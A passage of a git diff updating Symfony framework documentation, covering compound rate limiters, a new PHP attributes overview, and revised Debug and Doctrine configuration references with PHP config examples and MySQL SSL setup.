"lock.rate_limiter.factory" for this limiter + ->lockFactory('lock.rate_limiter.factory') + + // or don't use any lock mechanism + ->lockFactory(null) + ; + }; + +.. versionadded:: 7.3 + + Before Symfony 7.3, configuring a rate limiter and using the default configured + lock factory (``lock.factory``) failed if the Symfony Lock component was not + installed in the application. + +Compound Rate Limiter +--------------------- + +.. versionadded:: 7.3 + + Support for configuring compound rate limiters was introduced in Symfony 7.3. + +You can configure multiple rate limiters to work together: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/rate_limiter.yaml + framework: + rate_limiter: + two_per_minute: + policy: 'fixed_window' + limit: 2 + interval: '1 minute' + five_per_hour: + policy: 'fixed_window' + limit: 5 + interval: '1 hour' + contact_form: + policy: 'compound' + limiters: [two_per_minute, five_per_hour] + + .. code-block:: xml + + <!-- config/packages/rate_limiter.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:rate-limiter> + <framework:limiter name="two_per_minute" + policy="fixed_window" + limit="2" + interval="1 minute" + /> + + <framework:limiter name="five_per_hour" + policy="fixed_window" + limit="5" + interval="1 hour" + /> + + <framework:limiter name="contact_form" + policy="compound" + > + <limiter>two_per_minute</limiter> + <limiter>five_per_hour</limiter> + </framework:limiter> + </framework:rate-limiter> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/rate_limiter.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->rateLimiter() + ->limiter('two_per_minute') + ->policy('fixed_window') + ->limit(2) + ->interval('1 minute') + ; + + $framework->rateLimiter() + ->limiter('two_per_minute') + ->policy('fixed_window') + ->limit(5) + ->interval('1 hour') + ; + + $framework->rateLimiter() + ->limiter('contact_form') + ->policy('compound') + ->limiters(['two_per_minute', 'five_per_hour']) + ; + }; + +Then, inject and use as normal:: + + // src/Controller/ContactController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\RateLimiter\RateLimiterFactoryInterface; + + class ContactController extends AbstractController + { + public function registerUser(Request $request, RateLimiterFactoryInterface $contactFormLimiter): Response + { + $limiter = $contactFormLimiter->create($request->getClientIp()); + + if (false === $limiter->consume(1)->isAccepted()) { + // either of the two limiters has been reached + } + + // ... + } + + // ... + } +.. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html +.. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html +.. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/ +.. _`Caddy HTTP rate limit module`: https://github.com/mholt/caddy-ratelimit .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket -.. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative +.. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative +.. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition diff --git a/reference/attributes.rst b/reference/attributes.rst new file mode 100644 index 00000000000..968c7df1568 --- /dev/null +++ b/reference/attributes.rst @@ -0,0 +1,160 @@ +Symfony Attributes Overview +=========================== + +Attributes are the successor of annotations since PHP 8. Attributes are native +to the language and Symfony takes full advantage of them across the framework +and its different components. + +Doctrine Bridge +~~~~~~~~~~~~~~~ + +* :doc:`UniqueEntity </reference/constraints/UniqueEntity>` +* :ref:`MapEntity <doctrine-entity-value-resolver>` + +Command +~~~~~~~ + +* :ref:`AsCommand <console_creating-command>` + +Contracts +~~~~~~~~~ + +* :ref:`Required <autowiring-calls>` +* :ref:`SubscribedService <service-subscribers-service-subscriber-trait>` + +Dependency Injection +~~~~~~~~~~~~~~~~~~~~ + +* :ref:`AsAlias <services-alias>` +* :doc:`AsDecorator </service_container/service_decoration>` +* :ref:`AsTaggedItem <tags_as-tagged-item>` +* :ref:`Autoconfigure <lazy-services_configuration>` +* :ref:`AutoconfigureTag <di-instanceof>` +* :ref:`Autowire <autowire-attribute>` +* :ref:`AutowireCallable <autowiring_closures>` +* :doc:`AutowireDecorated </service_container/service_decoration>` +* :ref:`AutowireIterator <service-locator_autowire-iterator>` +* :ref:`AutowireLocator <service-locator_autowire-locator>` +* :ref:`AutowireMethodOf <autowiring_closures>` +* :ref:`AutowireServiceClosure <autowiring_closures>` +* :ref:`Exclude <service-psr4-loader>` +* :ref:`Lazy <lazy-services_configuration>` +* :ref:`TaggedIterator <tags_reference-tagged-services>` +* :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>` +* :ref:`Target <autowiring-multiple-implementations-same-type>` +* :ref:`When <service-container_limiting-to-env>` +* :ref:`WhenNot <service-container_limiting-to-env>` + +.. deprecated:: 7.1 + + The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator` + and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator` + attributes were deprecated in Symfony 7.1. + +EventDispatcher +~~~~~~~~~~~~~~~ + +* :ref:`AsEventListener <event-dispatcher_event-listener-attributes>` + +FrameworkBundle +~~~~~~~~~~~~~~~ + +* :ref:`AsRoutingConditionService <routing-matching-expressions>` + +HttpKernel +~~~~~~~~~~ + +* :doc:`AsController </controller/service>` +* :ref:`AsTargetedValueResolver <controller-targeted-value-resolver>` +* :ref:`Cache <http-cache-expiration-intro>` +* :ref:`MapDateTime <functionality-shipped-with-the-httpkernel>` +* :ref:`MapQueryParameter <controller_map-request>` +* :ref:`MapQueryString <controller_map-request>` +* :ref:`MapRequestPayload <controller_map-request>` +* :ref:`MapUploadedFile <controller_map-uploaded-file>` +* :ref:`ValueResolver <managing-value-resolvers>` +* :ref:`WithHttpStatus <framework_exceptions>` +* :ref:`WithLogLevel <framework_exceptions>` + +Messenger +~~~~~~~~~ + +* :ref:`AsMessage <messenger-message-attribute>` +* :ref:`AsMessageHandler <messenger-handler>` + +RemoteEvent +~~~~~~~~~~~ + +* :ref:`AsRemoteEventConsumer <webhook>` + +Routing +~~~~~~~ + +* :doc:`Route </routing>` + +Scheduler +~~~~~~~~~ + +* :ref:`AsCronTask <scheduler-attributes-cron-task>` +* :ref:`AsPeriodicTask <scheduler-attributes-periodic-task>` +* :ref:`AsSchedule <scheduler_attaching-recurring-messages>` + +Security +~~~~~~~~ + +* :ref:`CurrentUser <security-json-login>` +* :ref:`IsCsrfTokenValid <csrf-controller-attributes>` +* :ref:`IsGranted <security-securing-controller-attributes>` + +.. _reference-attributes-serializer: + +Serializer +~~~~~~~~~~ + +* :ref:`Context <serializer-context>` +* :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>` +* :ref:`Groups <serializer-groups-attribute>` +* :ref:`Ignore <serializer_ignoring-attributes>` +* :ref:`MaxDepth <serializer_handling-serialization-depth>` +* :ref:`SerializedName <serializer-name-conversion>` +* :ref:`SerializedPath <serializer-nested-structures>` + +Twig +~~~~ + +* :ref:`Template <templates-template-attribute>` +* :ref:`AsTwigFilter <templates-twig-filter-attribute>` +* :ref:`AsTwigFunction <templates-twig-function-attribute>` +* ``AsTwigTest`` + +Symfony UX +~~~~~~~~~~ + +* `AsEntityAutocompleteField`_ +* `AsLiveComponent`_ +* `AsTwigComponent`_ +* `Broadcast`_ + +Validator +~~~~~~~~~ + +Each validation constraint comes with a PHP attribute. See +:doc:`/reference/constraints` for a full list of validation constraints. + +* :doc:`HasNamedArguments </validation/custom_constraint>` + +Workflow +~~~~~~~~ + +* :ref:`AsAnnounceListener <workflow_using-events>` +* :ref:`AsCompletedListener <workflow_using-events>` +* :ref:`AsEnterListener <workflow_using-events>` +* :ref:`AsEnteredListener <workflow_using-events>` +* :ref:`AsGuardListener <workflow_using-events>` +* :ref:`AsLeaveListener <workflow_using-events>` +* :ref:`AsTransitionListener <workflow_using-events>` + +.. _`AsEntityAutocompleteField`: https://symfony.com/bundles/ux-autocomplete/current/index.html#usage-in-a-form-with-ajax +.. _`AsLiveComponent`: https://symfony.com/bundles/ux-live-component/current/index.html +.. _`AsTwigComponent`: https://symfony.com/bundles/ux-twig-component/current/index.html +.. _`Broadcast`: https://symfony.com/bundles/ux-turbo/current/index.html#broadcast-conventions-and-configuration diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst index 86aed3b7ba6..6ca05b49bd7 100644 --- a/reference/configuration/debug.rst +++ b/reference/configuration/debug.rst @@ -1,6 +1,3 @@ -.. index:: - single: Configuration reference; Framework - Debug Configuration Reference (DebugBundle) =========================================== @@ -16,48 +13,16 @@ key in your application configuration. # displays the actual config values used by your application $ php bin/console debug:config debug + # displays the config values used by your application and replaces the + # environment variables with their actual values + $ php bin/console debug:config --resolve-env debug + .. note:: When using XML, you must use the ``http://symfony.com/schema/dic/debug`` namespace and the related XSD schema is available at: ``https://symfony.com/schema/dic/debug/debug-1.0.xsd`` -Configuration -------------- - -.. rst-class:: list-config-options - -* `dump_destination`_ -* `max_items`_ -* `min_depth`_ -* `max_string_length`_ - -max_items -~~~~~~~~~ - -**type**: ``integer`` **default**: ``2500`` - -This is the maximum number of items to dump. Setting this option to ``-1`` -disables the limit. - -min_depth -~~~~~~~~~ - -**type**: ``integer`` **default**: ``1`` - -Configures the minimum tree depth until which all items are guaranteed to -be cloned. After this depth is reached, only ``max_items`` items will be -cloned. The default value is ``1``, which is consistent with older Symfony -versions. - -max_string_length -~~~~~~~~~~~~~~~~~ - -**type**: ``integer`` **default**: ``-1`` - -This option configures the maximum string length before truncating the -string. The default value (``-1``) means that strings are never truncated. - .. _configuration-debug-dump_destination: dump_destination @@ -67,9 +32,10 @@ dump_destination Configures the output destination of the dumps. -By default, the dumps are shown in the toolbar. Since this is not always -possible (e.g. when working on a JSON API), you can have an alternate output -destination for dumps. Typically, you would set this to ``php://stderr``: +By default, dumps are shown in the WebDebugToolbar when returning HTML. +Since this is not always possible (e.g. when working on a JSON API), +you can have an alternate output destination for dumps. +Typically, you would set this to ``php://stderr``: .. configuration-block:: @@ -96,8 +62,39 @@ destination for dumps. Typically, you would set this to ``php://stderr``: .. code-block:: php // config/packages/debug.php - $container->loadFromExtension('debug', [ - 'dump_destination' => 'php://stderr', - ]); + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return static function (ContainerConfigurator $container): void { + $container->extension('debug', [ + 'dump_destination' => 'php://stderr', + ]); + }; + Configure it to ``"tcp://%env(VAR_DUMPER_SERVER)%"`` in order to use the :ref:`ServerDumper feature <var-dumper-dump-server>`. + +max_items +~~~~~~~~~ + +**type**: ``integer`` **default**: ``2500`` + +This is the maximum number of items to dump. Setting this option to ``-1`` +disables the limit. + +max_string_length +~~~~~~~~~~~~~~~~~ + +**type**: ``integer`` **default**: ``-1`` + +This option configures the maximum string length before truncating the +string. The default value (``-1``) means that strings are never truncated. + +min_depth +~~~~~~~~~ + +**type**: ``integer`` **default**: ``1`` + +Configures the minimum tree depth until which all items are guaranteed to +be cloned. After this depth is reached, only ``max_items`` items will be +cloned. The default value is ``1``, which is consistent with older Symfony +versions. diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index 281d9193203..db6336e1ee6 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -1,7 +1,3 @@ -.. index:: - single: Doctrine; ORM configuration reference - single: Configuration reference; Doctrine ORM - Doctrine Configuration Reference (DoctrineBundle) ================================================= @@ -24,10 +20,6 @@ configuration. namespace and the related XSD schema is available at: ``https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd`` -.. index:: - single: Configuration; Doctrine DBAL - single: Doctrine; DBAL configuration - .. _`reference-dbal-configuration`: Doctrine DBAL Configuration @@ -62,10 +54,10 @@ The following block shows all possible configuration keys: unix_socket: /tmp/mysql.sock # the DBAL wrapperClass option wrapper_class: App\DBAL\MyConnectionWrapper - charset: UTF8 + charset: utf8mb4 logging: '%kernel.debug%' platform_service: App\DBAL\MyDatabasePlatformService - server_version: '5.6' + server_version: '8.0.37' mapping_types: enum: string types: @@ -96,10 +88,10 @@ The following block shows all possible configuration keys: memory="true" unix-socket="/tmp/mysql.sock" wrapper-class="App\DBAL\MyConnectionWrapper" - charset="UTF8" + charset="utf8mb4" logging="%kernel.debug%" platform-service="App\DBAL\MyDatabasePlatformService" - server-version="5.6"> + server-version="8.0.37"> <doctrine:option key="foo">bar</doctrine:option> <doctrine:mapping-type name="enum">string</doctrine:mapping-type> @@ -108,6 +100,36 @@ The following block shows all possible configuration keys: </doctrine:config> </container> + .. code-block:: php + + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $dbal = $doctrine->dbal(); + + $dbal = $dbal + ->connection('default') + ->dbname('database') + ->host('localhost') + ->port(1234) + ->user('user') + ->password('secret') + ->driver('pdo_mysql') + ->url('mysql://db_user:db_password@127.0.0.1:3306/db_name') // if the url option is specified, it will override the above config + ->driverClass(App\DBAL\MyDatabaseDriver::class) // the DBAL driverClass option + ->option('foo', 'bar') // the DBAL driverOptions option + ->path('%kernel.project_dir%/var/data/data.sqlite') + ->memory(true) + ->unixSocket('/tmp/mysql.sock') + ->wrapperClass(App\DBAL\MyConnectionWrapper::class) // the DBAL wrapperClass option + ->charset('utf8mb4') + ->logging('%kernel.debug%') + ->platformService(App\DBAL\MyDatabasePlatformService::class) + ->serverVersion('8.0.37') + ->mappingType('enum', 'string') + ->type('custom', App\DBAL\MyCustomType::class); + }; + .. note:: The ``server_version`` option was added in Doctrine DBAL 2.5, which @@ -117,12 +139,14 @@ The following block shows all possible configuration keys: version). If you are running a MariaDB database, you must prefix the ``server_version`` - value with ``mariadb-`` (e.g. ``server_version: mariadb-10.4.14``). + value with ``mariadb-`` (e.g. ``server_version: mariadb-10.4.14``). This will + change in Doctrine DBAL 4.x, where you must define the version as output by + the server (e.g. ``10.4.14-MariaDB``). Always wrap the server version number with quotes to parse it as a string instead of a float number. Otherwise, the floating-point representation - issues can make your version be considered a different number (e.g. ``5.6`` - will be rounded as ``5.5999999999999996447286321199499070644378662109375``). + issues can make your version be considered a different number (e.g. ``5.7`` + will be rounded as ``5.6999999999999996447286321199499070644378662109375``). If you don't define this option and you haven't created your database yet, you may get ``PDOException`` errors because Doctrine will try to @@ -131,37 +155,71 @@ The following block shows all possible configuration keys: If you want to configure multiple connections in YAML, put them under the ``connections`` key and give them a unique name: -.. code-block:: yaml +.. configuration-block:: - doctrine: - dbal: - default_connection: default - connections: - default: - dbname: Symfony - user: root - password: null - host: localhost - server_version: '5.6' - customer: - dbname: customer - user: root - password: null - host: localhost - server_version: '5.7' + .. code-block:: yaml + + doctrine: + dbal: + default_connection: default + connections: + default: + dbname: Symfony + user: root + password: null + host: localhost + server_version: '8.0.37' + customer: + dbname: customer + user: root + password: null + host: localhost + server_version: '8.2.0' + + .. code-block:: php + + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $dbal = $doctrine->dbal(); + $dbal->defaultConnection('default'); + + $dbal->connection('default') + ->dbname('Symfony') + ->user('root') + ->password('null') + ->host('localhost') + ->serverVersion('8.0.37'); + + $dbal->connection('customer') + ->dbname('customer') + ->user('root') + ->password('null') + ->host('localhost') + ->serverVersion('8.2.0'); + }; The ``database_connection`` service always refers to the *default* connection, which is the first one defined or the one configured via the ``default_connection`` parameter. Each connection is also accessible via the ``doctrine.dbal.[name]_connection`` -service where ``[name]`` is the name of the connection. In a controller -extending ``AbstractController``, you can access it directly using the -``getConnection()`` method and the name of the connection:: +service where ``[name]`` is the name of the connection. In a :doc:`controller </controller>` +you can access it using the ``getConnection()`` method and the name of the connection:: + + // src/Controller/SomeController.php + use Doctrine\Persistence\ManagerRegistry; - $connection = $this->getDoctrine()->getConnection('customer'); + class SomeController + { + public function someMethod(ManagerRegistry $doctrine): void + { + $connection = $doctrine->getConnection('customer'); + $result = $connection->fetchAllAssociative('SELECT name FROM customer'); - $result = $connection->fetchAll('SELECT name FROM customer'); + // ... + } + } Doctrine ORM Configuration -------------------------- @@ -169,19 +227,45 @@ Doctrine ORM Configuration This following configuration example shows all the configuration defaults that the ORM resolves to: -.. code-block:: yaml +.. configuration-block:: - doctrine: - orm: - auto_mapping: true - # the standard distribution overrides this to be true in debug, false otherwise - auto_generate_proxy_classes: false - proxy_namespace: Proxies - proxy_dir: '%kernel.cache_dir%/doctrine/orm/Proxies' - default_entity_manager: default - metadata_cache_driver: array - query_cache_driver: array - result_cache_driver: array + .. code-block:: yaml + + doctrine: + orm: + auto_mapping: false + # the standard distribution overrides this to be true in debug, false otherwise + auto_generate_proxy_classes: false + proxy_namespace: Proxies + proxy_dir: '%kernel.cache_dir%/doctrine/orm/Proxies' + default_entity_manager: default + metadata_cache_driver: array + query_cache_driver: array + result_cache_driver: array + naming_strategy: doctrine.orm.naming_strategy.default + + .. code-block:: php + + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $orm = $doctrine->orm(); + + $orm + ->entityManager('default') + ->connection('default') + ->autoMapping(true) + ->metadataCacheDriver()->type('array') + ->queryCacheDriver()->type('array') + ->resultCacheDriver()->type('array') + ->namingStrategy('doctrine.orm.naming_strategy.default'); + + $orm + ->autoGenerateProxyClasses(false) + ->proxyNamespace('Proxies') + ->proxyDir('%kernel.cache_dir%/doctrine/orm/Proxies') + ->defaultEntityManager('default'); + }; There are lots of other configuration options that you can use to overwrite certain classes, but those are for very advanced use-cases only. @@ -207,6 +291,7 @@ can be placed directly under ``doctrine.orm`` config level. class_metadata_factory_name: Doctrine\ORM\Mapping\ClassMetadataFactory default_repository_class: Doctrine\ORM\EntityRepository auto_mapping: false + naming_strategy: doctrine.orm.naming_strategy.default hydrators: # ... mappings: @@ -225,35 +310,70 @@ Caching Drivers Use any of the existing :doc:`Symfony Cache </cache>` pools or define new pools to cache each of Doctrine ORM elements (queries, results, etc.): -.. code-block:: yaml +.. configuration-block:: - # config/packages/prod/doctrine.yaml - framework: - cache: - pools: - doctrine.result_cache_pool: - adapter: cache.app - doctrine.system_cache_pool: - adapter: cache.system + .. code-block:: yaml - doctrine: - orm: - # ... - metadata_cache_driver: - type: pool - pool: doctrine.system_cache_pool - query_cache_driver: - type: pool - pool: doctrine.system_cache_pool - result_cache_driver: - type: pool - pool: doctrine.result_cache_pool + # config/packages/prod/doctrine.yaml + framework: + cache: + pools: + doctrine.result_cache_pool: + adapter: cache.app + doctrine.system_cache_pool: + adapter: cache.system - # in addition to Symfony Cache pools, you can also use the - # 'type: service' option to use any service as the cache - query_cache_driver: - type: service - id: App\ORM\MyCacheService + doctrine: + orm: + # ... + metadata_cache_driver: + type: pool + pool: doctrine.system_cache_pool + query_cache_driver: + type: pool + pool: doctrine.system_cache_pool + result_cache_driver: + type: pool + pool: doctrine.result_cache_pool + + # in addition to Symfony cache pools, you can also use the + # 'type: service' option to use any service as a cache pool + query_cache_driver: + type: service + id: App\ORM\MyCacheService + + .. code-block:: php + + use Symfony\Config\DoctrineConfig; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework, DoctrineConfig $doctrine): void { + $framework + ->cache() + ->pool('doctrine.result_cache_pool') + ->adapters('cache.app') + ->pool('doctrine.system_cache_pool') + ->adapters('cache.system'); + + $doctrine->orm() + // ... + ->entityManager('default') + ->metadataCacheDriver() + ->type('pool') + ->pool('doctrine.system_cache_pool') + ->queryCacheDriver() + ->type('pool') + ->pool('doctrine.system_cache_pool') + ->resultCacheDriver() + ->type('pool') + ->pool('doctrine.result_cache_pool') + + // in addition to Symfony cache pools, you can also use the + // 'type: service' option to use any service as a cache pool + ->queryCacheDriver() + ->type('service') + ->id(App\ORM\MyCacheService::class); + }; Mapping Configuration ~~~~~~~~~~~~~~~~~~~~~ @@ -265,8 +385,15 @@ you can control. The following configuration options exist for a mapping: ``type`` ........ -One of ``annotation`` (the default value), ``xml``, ``yml``, ``php`` or -``staticphp``. This specifies which type of metadata type your mapping uses. +One of ``attribute`` (for PHP attributes; it's the default value), +``xml``, ``php`` or ``staticphp``. This specifies which +type of metadata type your mapping uses. + +.. versionadded:: 3.0 + + The ``yml`` mapping configuration is deprecated and was removed in Doctrine ORM 3.0. + +See `Doctrine Metadata Drivers`_ for more information about this option. ``dir`` ....... @@ -293,10 +420,12 @@ This option is ``false`` by default and it's considered a legacy option. It was only useful in previous Symfony versions, when it was recommended to use bundles to organize the application code. +.. _doctrine_auto-mapping: + Custom Mapping Entities in a Bundle ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Doctrine's ``auto_mapping`` feature loads annotation configuration from +Doctrine's ``auto_mapping`` feature loads attribute configuration from the ``Entity/`` directory of each bundle *and* looks for other formats (e.g. YAML, XML) in the ``Resources/config/doctrine`` directory. @@ -329,7 +458,7 @@ directory instead: .. code-block:: xml - <?xml version="1.0" charset="UTF-8" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:doctrine="http://symfony.com/schema/dic/doctrine" @@ -345,14 +474,17 @@ directory instead: .. code-block:: php - $container->loadFromExtension('doctrine', [ - 'orm' => [ - 'auto_mapping' => true, - 'mappings' => [ - 'AppBundle' => ['dir' => 'SomeResources/config/doctrine', 'type' => 'xml'], - ], - ], - ]); + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $emDefault = $doctrine->orm()->entityManager('default'); + + $emDefault->autoMapping(true); + $emDefault->mapping('AppBundle') + ->type('xml') + ->dir('SomeResources/config/doctrine') + ; + }; Mapping Entities Outside of a Bundle ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -372,7 +504,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias mappings: # ... SomeEntityNamespace: - type: annotation + type: attribute dir: '%kernel.project_dir%/src/Entity' is_bundle: false prefix: App\Entity @@ -380,7 +512,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias .. code-block:: xml - <?xml version="1.0" charset="UTF-8" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:doctrine="http://symfony.com/schema/dic/doctrine" @@ -390,7 +522,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias <doctrine:config> <doctrine:orm> <mapping name="SomeEntityNamespace" - type="annotation" + type="attribute" dir="%kernel.project_dir%/src/Entity" is-bundle="false" prefix="App\Entity" @@ -402,20 +534,20 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias .. code-block:: php - $container->loadFromExtension('doctrine', [ - 'orm' => [ - 'auto_mapping' => true, - 'mappings' => [ - 'SomeEntityNamespace' => [ - 'type' => 'annotation', - 'dir' => '%kernel.project_dir%/src/Entity', - 'is_bundle' => false, - 'prefix' => 'App\Entity', - 'alias' => 'App', - ], - ], - ], - ]); + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $emDefault = $doctrine->orm()->entityManager('default'); + + $emDefault->autoMapping(true); + $emDefault->mapping('SomeEntityNamespace') + ->type('attribute') + ->dir('%kernel.project_dir%/src/Entity') + ->isBundle(false) + ->prefix('App\Entity') + ->alias('App') + ; + }; Detecting a Mapping Configuration Format ........................................ @@ -433,14 +565,14 @@ configuration format. The bundle will stop as soon as it locates one. If it wasn't possible to determine a configuration format for a bundle, the DoctrineBundle will check if there is an ``Entity`` folder in the bundle's -root directory. If the folder exist, Doctrine will fall back to using an -annotation driver. +root directory. If the folder exist, Doctrine will fall back to using +attributes. Default Value of Dir .................... If ``dir`` is not specified, then its default value depends on which configuration -driver is being used. For drivers that rely on the PHP files (annotation, +driver is being used. For drivers that rely on the PHP files (attribute, ``staticphp``) it will be ``[Bundle]/Entity``. For drivers that are using configuration files (XML, YAML, ...) it will be ``[Bundle]/Resources/config/doctrine``. @@ -449,4 +581,84 @@ If the ``dir`` configuration is set and the ``is_bundle`` configuration is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with the path of the bundle. +SSL Connection with MySQL +~~~~~~~~~~~~~~~~~~~~~~~~~ + +To securely configure an SSL connection to MySQL in your Symfony application +with Doctrine, you need to specify the SSL certificate options. Here's how to +set up the connection using environment variables for the certificate paths: + +.. configuration-block:: + + .. code-block:: yaml + + doctrine: + dbal: + url: '%env(DATABASE_URL)%' + server_version: '8.0.31' + driver: 'pdo_mysql' + options: + # SSL private key + !php/const 'PDO::MYSQL_ATTR_SSL_KEY': '%env(MYSQL_SSL_KEY)%' + # SSL certificate + !php/const 'PDO::MYSQL_ATTR_SSL_CERT': '%env(MYSQL_SSL_CERT)%' + # SSL CA authority + !php/const 'PDO::MYSQL_ATTR_SSL_CA': '%env(MYSQL_SSL_CA)%' + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:doctrine="http://symfony.com/schema/dic/doctrine" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/doctrine + https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd"> + + <doctrine:config> + <doctrine:dbal + url="%env(DATABASE_URL)%" + server-version="8.0.31" + driver="pdo_mysql"> + + <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_KEY">%env(MYSQL_SSL_KEY)%</doctrine:option> + <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_CERT">%env(MYSQL_SSL_CERT)%</doctrine:option> + <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_CA">%env(MYSQL_SSL_CA)%</doctrine:option> + </doctrine:dbal> + </doctrine:config> + </container> + + .. code-block:: php + + // config/packages/doctrine.php + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $doctrine->dbal() + ->connection('default') + ->url(env('DATABASE_URL')->resolve()) + ->serverVersion('8.0.31') + ->driver('pdo_mysql'); + + $doctrine->dbal()->defaultConnection('default'); + + $doctrine->dbal()->option(\PDO::MYSQL_ATTR_SSL_KEY, '%env(MYSQL_SSL_KEY)%'); + $doctrine->dbal()->option(\PDO::MYSQL_SSL_CERT, '%env(MYSQL_ATTR_SSL_CERT)%'); + $doctrine->dbal()->option(\PDO::MYSQL_SSL_CA, '%env(MYSQL_ATTR_SSL_CA)%'); + }; + +Ensure your environment variables are correctly set in the ``.env.local`` or +``.env.local.php`` file as follows: + +.. code-block:: bash + + MYSQL_SSL_KEY=/path/to/your/server-key.pem + MYSQL_SSL_CERT=/path/to/your/server-cert.pem + MYSQL_SSL_CA=/path/to/your/ca-cert.pem + +This configuration secures your MySQL connection with SSL by specifying the paths to the required certificates. + + .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html +.. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index cdf5451d94a..e60e5d67c99 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -1,8 +1,3 @@ -.. index:: - single: Configuration reference; Framework - -.. _framework-bundle-configuration: - Framework Configuration Reference (FrameworkBundle) =================================================== @@ -24,364 +19,112 @@ configured under the ``framework`` key in your application configuration. namespace and the related XSD schema is available at: ``https://symfony.com/schema/dic/symfony/symfony-1.0.xsd`` -Configuration -------------- - -.. rst-class:: list-config-options list-config-options--complex - -* `annotations`_ - - * :ref:`cache <reference-annotations-cache>` - * `debug`_ - * `file_cache_dir`_ - -* `assets`_ - - * `base_path`_ - * `base_urls`_ - * `json_manifest_path`_ - * `packages`_ - * `version_format`_ - * `version_strategy`_ - * `version`_ - -* :ref:`cache <reference-cache>` - - * :ref:`app <reference-cache-app>` - * `default_doctrine_provider`_ - * `default_memcached_provider`_ - * `default_pdo_provider`_ - * `default_psr6_provider`_ - * `default_redis_provider`_ - * `directory`_ - * `pools`_ - - * :ref:`name <reference-cache-pools-name>` - - * `adapter`_ - * `clearer`_ - * `default_lifetime`_ - * `provider`_ - * `public`_ - * `tags`_ - - * `prefix_seed`_ - * `system`_ - -* `csrf_protection`_ - - * :ref:`enabled <reference-csrf_protection-enabled>` - -* `default_locale`_ -* `disallow_search_engine_index`_ -* `error_controller`_ -* `esi`_ - - * :ref:`enabled <reference-esi-enabled>` - -* :ref:`form <reference-framework-form>` - - * :ref:`enabled <reference-form-enabled>` - -* `fragments`_ - - * :ref:`enabled <reference-fragments-enabled>` - * `hinclude_default_template`_ - * :ref:`path <reference-fragments-path>` - -* `http_client`_ - - * :ref:`default_options <reference-http-client-default-options>` - - * `bindto`_ - * `buffer`_ - * `cafile`_ - * `capath`_ - * `ciphers`_ - * `headers`_ - * `http_version`_ - * `local_cert`_ - * `local_pk`_ - * `max_redirects`_ - * `no_proxy`_ - * `passphrase`_ - * `peer_fingerprint`_ - * `proxy`_ - * `resolve`_ - * `timeout`_ - * `max_duration`_ - * `verify_host`_ - * `verify_peer`_ - - * `max_host_connections`_ - * :ref:`scoped_clients <reference-http-client-scoped-clients>` - - * `scope`_ - * `auth_basic`_ - * `auth_bearer`_ - * `auth_ntlm`_ - * `base_uri`_ - * `bindto`_ - * `buffer`_ - * `cafile`_ - * `capath`_ - * 